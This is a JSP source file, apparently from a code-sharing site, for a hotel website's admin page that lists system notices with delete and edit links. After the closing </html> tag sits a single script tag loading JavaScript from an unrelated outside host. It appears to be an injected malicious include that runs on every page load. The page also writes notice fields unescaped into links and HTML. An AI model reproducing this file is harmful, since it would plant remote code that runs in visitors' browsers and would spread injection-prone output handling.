notice.jsp

来自「用户的注册 用户的登陆 发布用户的相关信息 浏览网站介绍的其他酒店的」· JSP 代码 · 共 120 行

JSP
120
字号
<%@page contentType="text/html; charset=gb2312"%>
<%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<html>
<head>
<title>系统公告管理</title>
<link href="css/hotel.css" rel="stylesheet">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
  <!--
    .STYLE4 {font-size: 24px}
  -->
</style>
</head>
<body bgcolor="#ffffff">
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td>
      <jsp:include page="top.jsp"/>
    </td>
  </tr>
  <tr>
    <td>
      <table width="760" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td height="13" colspan="3">&nbsp;</td>
        </tr>
        <tr>
          <td width="2" height="24">&nbsp;</td>
          <td width="756" ><jsp:include flush="" page="banneradmin.jsp"/></td>
          <td>&nbsp;</td>
        </tr>
        <tr>
          <td height="10" colspan="3">&nbsp;</td>
        </tr>
        <tr>
          <td colspan="3">
            <table width="760" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td width="2">&nbsp;</td>
                <td>
                  <table width="756" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <td width="207" height="363" valign="top"><jsp:include flush="" page="adminleft.jsp"/></td>
                      <td valign="top">
                        <table width="100%" border="0" cellpadding="0" cellspacing="0">
                          <tr>
                            <td height="60" colspan="3" align="center">
                              <span class="STYLE4">系统公告管理</span>
                            </td>
                          </tr>
                          <tr>
                            <td width="8" height="236" valign="top">&nbsp;</td>
                            <td width="534" valign="top">
                              <form name="form1" method="post" action="">
                              <table width="100%" border="0" cellpadding="0" class="tableBorder_LTR_dashed" cellspacing="0">
                                <tr>
                                  <td width="20%" height="26" align="center">公告编号</td>
                                  <td width="20%" align="center">标题</td>
                                  <td width="20%" align="center">删除</td>
                                  <td width="20%" align="center">修改</td>
                                  <td align="center"><a href="addadnotice.html" style="cursor:hand">添加</a></td>
                                </tr>

                                    <c:forEach var="notice" items="${requestScope.noticelist}">
                                    <c:if test="${!empty notice}">
                                    <c:set var="tag" value="true" scope="page"/>

                                    </c:if>
                                      <tr>
                                        <td height="26" align="center">${notice.notice_id}                                        </td>
                                        <td height="26" align="center">${notice.notice_title}                                        </td>
                                        <td height="26" align="center">
                                          <a href="delnotice.html?id=${notice.notice_id}"><img src="images/del.gif" width="16" height="16" border="0" alt=""></a>
                                        </td>
                                        <td height="26" align="center">
                                          <a href="upnotice.html?id=${notice.notice_id}&title=${notice.notice_title}&content=${notice.notice_content}"><img src="images/modify.gif" border="0" alt="" width="15" height="15"></a>
                                        </td>
                                        <td height="26" align="center">&nbsp;</td>
                                      </tr>
                                    </c:forEach>
                                    <c:choose>
                                  <c:when test="${pageScope.tag==true}">
                                    <tr>
                                      <td height="26" colspan="5" align="center">${requestScope.str}                                      </td>
                                    </tr>
                                  </c:when>
                                  <c:otherwise>
                                    <tr>
                                      <td height="26" colspan="5" align="center">没有任何记录</td>
                                    </tr>
                                  </c:otherwise>
                                </c:choose>
                              </table>
                              </form>
                            </td>
                            <td width="7" valign="top">&nbsp;</td>
                          </tr>
                        </table>
                      </td>
                    </tr>
                  </table>
                </td>
                <td width="2">&nbsp;</td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td>
      <jsp:include page="Copyright.jsp"/>
    </td>
  </tr>
</table>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?